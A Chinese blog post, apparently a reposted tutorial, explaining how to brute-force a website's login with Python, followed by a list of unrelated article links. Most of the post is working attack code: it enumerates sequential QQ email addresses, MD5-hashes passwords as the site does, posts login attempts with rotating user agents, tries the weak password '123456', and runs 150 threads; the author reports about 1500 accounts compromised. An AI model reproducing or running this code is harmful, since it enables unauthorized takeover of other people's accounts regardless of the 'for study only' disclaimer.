当前位置: 首页 > news >正文

如何通过Python暴力破解网站登陆密码

首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

今天演示的这个网站,就是属于非法的网站。

 

首先看登陆界面。

 

 抓取登陆信息。

使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

现在我们的思路理清楚了,接下来直接上干货。


user_num_low = 111111111
user_num_max = 9999999999
user_nbr = user_num_lowmutex=Lock()#构造用户邮箱
def get_user_nbr():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')user_nbr = user_nbr + 1mutex.release()return user_namedef user_end_judge():mutex.acquire(3)result = Falseif user_nbr > user_num_max :result = Trueelse:result = Falsemutex.release()return  resultdef get_curr_user():mutex.acquire(3)global  user_nbruser_name = '%s%s' % (str(user_nbr), '@qq.com')mutex.release()return user_name

 

 构造用于判断密码邮箱是否存在


user_agent = ['Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30','Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)','Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50','Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
]def save_pwd(user, pwd,desc):with open("resut.txt","a+") as f:f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '\n')def user_test(username,password):resp = ""result = ""url = "http://www.k*.htm"pwd = passworduser= usernamemd = hashlib.md5()md.update(pwd)password =  md.hexdigest()data = {'email':username,'password':password}# 设置网页编码格式,解码获取到的中文字符encoding = "gb18030"# 构造http请求头,设置user-agentheader = {"User-Agent": random.choice(user_agent),'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest'}try:requests.adapters.DEFAULT_RETRIES = 5resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ReadTimeout:print("1")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.Timeout:print("2")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except requests.exceptions.ConnectionError:print("3")time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except socket.error:time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)except BaseException as e:print(e)time.sleep(10)resp = requests.post(url, data=data, headers=header, timeout=335)resp.keep_alive = False#print(resp.content)try:result = resp.contentjson = resp.json()print('邮箱:%s ,result:%s \n ' % (username,result))if (json['message'].find('不存在') > -1):#print('邮箱:%s 为空' % username )return Falseelse:print('邮箱: %s 存在' % username)save_pwd(username, password, json['message'])return Trueexcept BaseException as e:print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

 

好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

  if(json['message'].find('错误') > -1):print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))return Falseelse:print('邮箱: %s  密码: %s ,登陆成功!' % (username, pwd))

由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。


def thread_bru(): # 破解子线程函数#while not user_end_judge():pwd_queue.empty()while not user_end_judge():try:pwd = ‘123456’user = get_user_nbr()#print pwd_test#if user_test(user, pwd_test):if user_test(user, pwd):result = pwdprint ('破解 %s 成功,密码为: %s' % (user, pwd))breakexcept BaseException as e:print("破解子线程错误: %s" % e)def brute(threads):for i in range(threads):t = threading.Thread(target=thread_bru)t.start()print('破解线程-->%s 启动' % t.ident)while (not user_end_judge()): # 剩余口令集判断print('\r 进度: 当前值 %d' % pwd_queue.qsize())time.sleep(2)#print('\n破解完毕')if __name__ == "__main__":brute(150)

好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

 

有不懂的问题,加企鹅群交流吧:98556420。

 

http://www.xdnf.cn/news/805573.html

相关文章:

  • asp.net开源资料——国内.NET论坛源代码
  • 等保分保关保密评|四道防线守护网络信息安全
  • 如何获取维普免费账号--应对大家工作后在校外下载维普万方等全文
  • 澳优血统受质疑奶粉被下架,实为贴牌生产
  • 联想y430完全拆机图解_联想Y430P笔记本拆机加内存和SSD图文教程
  • flash as3.0的简单使用
  • 河南网通PPPOE真实账号查找及路由共享上网方法
  • TestDirector 8.0下载地址以及安装教程
  • HTC G14(G18)刷MIUI详细刷机教程
  • Android Bundle详解
  • jQuery表单验证的几种方法
  • 只使用JS怎么给静态页面网站添加站内全局搜索功能?
  • 初识C语言———C语言基础入门
  • U盘安装程序
  • Ajax的使用(最详细!!!)
  • 剑灵错误126未找到dll怎么解决?剑灵错误126未找到dll问题的深度解析与有效修复策略详解
  • IE自动关闭
  • myeclipse 6.5注册码
  • Linux桌面新彩虹-Fedora 14 炫酷应用新体验
  • QQ空间技术架构之深刻揭密
  • 面向过程编程(pop),面向对象编程(oop),函数式编程(fp)
  • Ubuntu Linux 3D桌面完全教程,显卡驱动安装方法,compiz特效介绍,常见问题解答。
  • 什么是Alpha通道?
  • 2024PHP末路? 大城市已没有面试,转战三线城市?
  • 有关 VCL 控件的常见问题 (安装、卸载、升级BCB版本等)
  • dede采集-织梦全自动采集插件-织梦免费采集插件
  • 关于进制的转换
  • 分享63个广告代码JS特效,总有一款适合您
  • sandisku盘量产工具_干货| 简单几步,让U盘起死回生
  • 【网络信息安全】Web 安全,作为程序员一定不要仅仅追求物质